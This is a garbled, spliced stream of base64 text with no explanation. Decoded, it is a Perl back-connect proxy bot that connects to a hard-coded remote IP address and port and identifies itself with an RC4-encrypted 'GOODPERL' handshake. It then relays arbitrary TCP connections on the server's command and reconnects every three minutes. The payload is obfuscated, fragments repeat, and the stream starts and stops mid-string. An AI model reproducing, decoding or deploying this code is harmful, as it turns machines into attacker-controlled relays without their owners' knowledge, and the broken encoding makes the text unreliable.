gKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTknOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3B